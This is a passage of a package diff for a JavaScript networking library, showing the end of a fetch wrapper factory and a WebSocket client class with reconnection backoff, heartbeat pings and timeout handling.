+  const instance = new Fetch(opts, settings);
+  const rawFetch = instance.fetch.bind(instance);
+
+  rawFetch.get = instance.get.bind(instance);
+  rawFetch.post = instance.post.bind(instance);
+  rawFetch.put = instance.put.bind(instance);
+  rawFetch.delete = instance.delete.bind(instance);
+  rawFetch.interceptors = instance.interceptors;
+
+  return rawFetch;
+};
+
+export default createFetchInstance;
+
+
+
+// WEBPACK FOOTER //
+// ./node_modules/by-network/src/fetch.js

package/src/wsio.js

@@ -0,0 +1,369 @@
+import Emitter from 'component-emitter';
+import Backoff from 'backo2';
+
+Emitter(WebSocket.prototype);
+/* eslint-disable */
+class WS {
+  constructor(uri, opts = {}) {
+    // if (uri && (typeof uri === 'object')) {
+    //   opts = uri;
+    //   uri = opts.uri;
+    // }
+    // this.opts = opts;
+    const {
+      debug,
+      autoConnect = true,
+      reconnectionAttempts,
+      reconnectionDelay,
+      reconnectionDelayMax,
+      reconnectionReportThreshold,
+      reconnectionReportInterval,
+      reconnectionReportMax,
+      randomizationFactor,
+      timeout,
+      reconnection,
+    } = opts;
+    // 可设置变量
+    this.uri = uri;
+    this.debug = debug || false;
+    this.autoConnect = autoConnect; // 是否自动连接
+    this.reconnection = reconnection !== false; // 是否自动重连，默认true
+    this.reconnectionReportThreshold = reconnectionReportThreshold || 3;
+    this.reconnectionReportInterval = reconnectionReportInterval || 3;
+    this.reconnectionReportMax = reconnectionReportMax || 22;
+    this.reconnectionAttempts(reconnectionAttempts || Infinity); // 最大重连次数
+    this.reconnectionDelay(reconnectionDelay || 1000); // 间隔时间
+    this.reconnectionDelayMax(reconnectionDelayMax || 5000); // 最大间隔时间
+    this.randomizationFactor(randomizationFactor || 0.5); // 间隔随机增长数
+    this.backoff = new Backoff({
+      min: this.reconnectionDelay(),
+      max: this.reconnectionDelayMax(),
+      jitter: this.randomizationFactor(),
+    });
+    this.timeout(timeout || 10000); // 超时时间设置 ms
+
+    // 内部变量
+    this.engine = null; // websocket
+    this.connected = false; // 是否已连接
+    this.readyState = 'closed'; // 当前状态
+    this.reconnecting = false; // 正在重连
+    this.skipReconect = false;
+    this.pingIntervalTimer = null; // ping timer
+    this.pingTimeoutTimer = null; // ping timeout Timer
+    this.heartError = false;
+    // note: m站心跳机制
+    this.pingInterval = 15000;
+    this.pingTimeout = 3000;
+    this.ev = []; // 内部事件订阅
+    // this.subs = []; // 订阅topic数组
+    // this.topicArr = []; // 订阅topic 数组
+    // 需要自动重连，则调用open()
+    this.connectStart = new Date().getTime();
+    this.openStart = null;
+    if (this.autoConnect) this.open();
+    if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '创建 socket 实例');
+  }
+
+  open() {
+    this.openStart = new Date().getTime();
+    // const self = this;
+    if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'open 开始状态:', this.readyState, '连接地址：', this.uri);
+    if (~this.readyState.indexOf('open')) return;
+    try {
+      // todo: 增加timestamp参数比较生硬
+      this.engine = new WebSocket(`${this.uri}?timestamp=${new Date().getTime()}`);
+    } catch (e) {
+      if (this.debug) {
+        console.error('[socket]创建实例发生错误', e);
+      }
+      this.emit('open_error', { code: 4998, reason: e.message || e }); // report
+    }
+    this.readyState = 'opening';
+    this.skipReconect = false;
+
+    this.addEventListeners();
+    // 添加链接超时机制，iOS 平台不会被动触发 error 事件
+    if (this._timeout) {
+      const timeout = this._timeout;
+      if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '超时将在开始重连', timeout);
+      const timer = setTimeout(() => {
+        // todo onerror没有接收
+        this.engine && this.engine.emit('open_timeout', { code: 4997, reason: 'open_timeout' });
+        this.emit('connect_timeout', timeout);
+      }, timeout);
+      this.ev.push({
+        destroy: () => {
+          clearTimeout(timer);
+        },
+      });
+    }
+  }
+
+  send(obj) {
+    if (this.connected) {
+      this.engine.send(JSON.stringify(obj));
+    }
+  }
+
+  close(code = 1005) {
+    this.onClose({ code, reason: 'close_by_user' });
+  }
+
+  /* private function */
+
+  onOpen() {
+    if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype onOpen 执行');
+    this.readyState = 'open';
+    this.clearEV();
+    this.setPing();
+    this.connected = true;
+    if (this.reconnecting) {
+      const attempt = this.backoff.attempts;
+      this.reconnecting = false;
+      this.backoff.reset();
+      this.emit('reconnect', attempt);
+    } else {
+      this.emit('connect');
+    }
+  }
+
+  onData(data) {
+    const { ret_msg, topic, request, success, type, conn_id } = data;
+    if (ret_msg === 'pong') {
+      clearTimeout(this.pingTimeoutTimer);
+      const now = new Date().getTime();
+      const { op, args } = request;
+      const reqTime = args[0];
+      if (reqTime) {
+        if (now - reqTime < 3000) {
+          if (this.heartError) {
+            this.emit('heart_back', { code: 4995, reason: 'heart_back' });
+            this.heartError = false;
+          }
+        }
+      }
+      this.setPing();
+    } else if (topic) {
+      this.emit(topic, { type, data: data.data });
+    } else if (request) {
+      const { op } = request;
+      if (success) {
+        this.emit(`${op}_success`, conn_id);
+      } else {
+        this.emit(`${op}_fail`, conn_id);
+      }
+    } else {
+      this.emit('data', data);
+      this.emit('message', data);
+    }
+  }
+
+  onClose({ code, reason }) {
+    if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype onClose 执行:', reason);
+
+    this.reconnecting = false;
+    this.connected = false;
+    // clear timers
+    clearTimeout(this.pingIntervalTimer);
+    clearTimeout(this.pingTimeoutTimer);
+
+    // 1006保留code
+    let c = code;
+    if (c === 1006) {
+      c = 4006;
+    } else if (c === 1005) {
+      c = 4005;
+    }
+    // Firefox will throw error when ws closed normally using 1001
+    if (code !== 1001) this.engine.close(c);
+    this.clearUp();
+    this.readyState = 'closed';
+    this.emit('close', { code, reason });
+
+    switch (code) {
+      case 1000: // 用户主动关闭
+        this.skipReconect = true;
+        this.reconnecting = false;
+        this.readyState = 'closed_user';
+        this.backoff.reset();
+        if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '用户主动关闭', reason);
+        break;
+      default:
+        if (this.reconnection && !this.skipReconect) {
+          this.reconnect();
+        }
+    }
+  }
+
+  onError(err) {
+    if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'onError 执行:', err);
+    this.clearUp();
+    this.readyState = 'closed';
+    this.emit('error', err);
+    this.onClose(err);
+  }
+
+  reconnect() {
+    if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype reconnect 执行:');
+    if (this.reconnecting || this.skipReconect) {
+      return;
+    }
+    if (this.backoff.attempts > this._reconnectionAttempts) {
+      if (this.debug) console.error('[socket]超过最大重连次数, 重连彻底失败');
+      // clear timers
+      clearTimeout(this.pingIntervalTimer);
+      clearTimeout(this.pingTimeoutTimer);
+
+      // remove
+      this.engine.close();
+      this.clearUp();
+      this.backoff.reset();
+
+      this.emit('reconnect_failed');
+      this.reconnecting = false;
+    } else {
+      const delay = this.backoff.duration();
+      if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '第几次重连：', this.backoff.attempts, '等待 %dms 开始发起重连：', delay);
+      this.reconnecting = true;
+      const timer = setTimeout(() => {
+        if (this.skipReconect) return;
+        this.emit('reconnect_attempt', this.backoff.attempts); // 发送 重连次数 事件
+        this.emit('reconnecting', this.backoff.attempts); // 发送事件
+
+        if (
+          this.backoff.attempts > this.reconnectionReportThreshold
+          && (this.backoff.attempts % this.reconnectionReportInterval) === 0
+          && this.backoff.attempts < this.reconnectionReportMax
+        ) {
+          this.emit('reconnect_report', this.backoff.attempts);
+        }
+
+        this.open();
+      }, delay);
+      // 事件组
+      this.ev.push({
+        destroy: () => {
+          clearTimeout(timer);
+        },
+      });
+    }
+  }
+
+  ping() {
+    this.send({ op: 'ping', args: [new Date().getTime()] });
+  }
+
+  // reset ping timeout
+  onHeartbeat(timeout) {
+    clearTimeout(this.pingTimeoutTimer);
+    this.pingTimeoutTimer = setTimeout(() => {
+      if (this.readyState === 'closed') return;
+      // this.onClose({ code: 4996, reason: 'ping timeout' });
+      this.emit('heart_error', { code: 4996, reason: 'ping timeout' });
+      this.heartError = true;
+    }, timeout);
+  }
+
+  // 心跳机制
+  setPing() {
+    clearTimeout(this.pingIntervalTimer);
+    this.pingIntervalTimer = setTimeout(() => {
+      if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS send ping');
+      this.ping();
+      this.onHeartbeat(this.pingTimeout);
+    }, this.pingInterval);
+  }
+
+  addEventListeners() {
+    const { engine } = this;
+    if (engine) {
+      engine.onopen = () => {
+        this.onOpen();
+      };
+      engine.onclose = ({ code, reason }) => {
+        this.onClose({ code, reason });
+      };
+      engine.onmessage = (ev) => {
+        const data = JSON.parse(ev.data);
+        if (Array.isArray(data)) {
+          for (let i = 0, len = data.length; i < len; i += 1) {
+            setTimeout(() => {
+              this.onData(data[i]);
+            }, 0);
+          }
+        } else {
+          this.onData(data);
+        }
+        // engine.removeListener('onmessage');
+      };
+      engine.onerror = () => {
+        this.onError({ code: 4999, reason: 'onerror' });
+      };
+      engine.once('open_timeout', (e) => {
+        this.onError(e);
+      });
+    }
+  }
+
+  // 重置websocket回调函数
+  clearUp() {
+    if (this.debug) console.log('ws-->clearUp');
+    const { engine } = this;
+    engine.onopen = () => {};
+    engine.onclose = () => {};
+    engine.onmessage = () => {};
+    engine.onerror = () => {};
+    this.clearEV();
+  }
+
+  clearEV() {
+    const evLength = this.ev.length;
+    for (let i = 0; i < evLength; i += 1) {
+      const sub = this.ev.shift();
+      sub.destroy();
+    }
+  }
+  /* eslint-disable */
+  // /* eslint-disable no-underscore-dangle */
+  reconnectionAttempts(v) {
+    if (!arguments.length) return this._reconnectionAttempts;
+    this._reconnectionAttempts = v;
+    return this;
+  }
+
+  reconnectionDelay(v) {
+    if (!arguments.length) return this._reconnectionDelay;
+    this._reconnectionDelay = v;
+    this.backoff && this.backoff.setMin(v);
+    return this;
+  }
+
+  reconnectionDelayMax(v) {
+    if (!arguments.length) return this._reconnectionDelayMax;
+    this._reconnectionDelayMax = v;
+    this.backoff && this.backoff.setMax(v);
+    return this;
+  }
+
+  randomizationFactor(v) {
+    if (!arguments.length) return this._randomizationFactor;
+    this._randomizationFactor = v;
+    this.backoff && this.backoff.setJitter(v);
+    return this;
+  };
+
+  timeout(v) {
+    if (!arguments.length) return this._timeout;
+    this._timeout = v;
+    return this;
+  }
+}
+
+Emitter(WS.prototype);
+
+export default WS;
+
+
+
+// WEBPACK FOOTER //
+// ./node_modules/by-network/src/wsio.js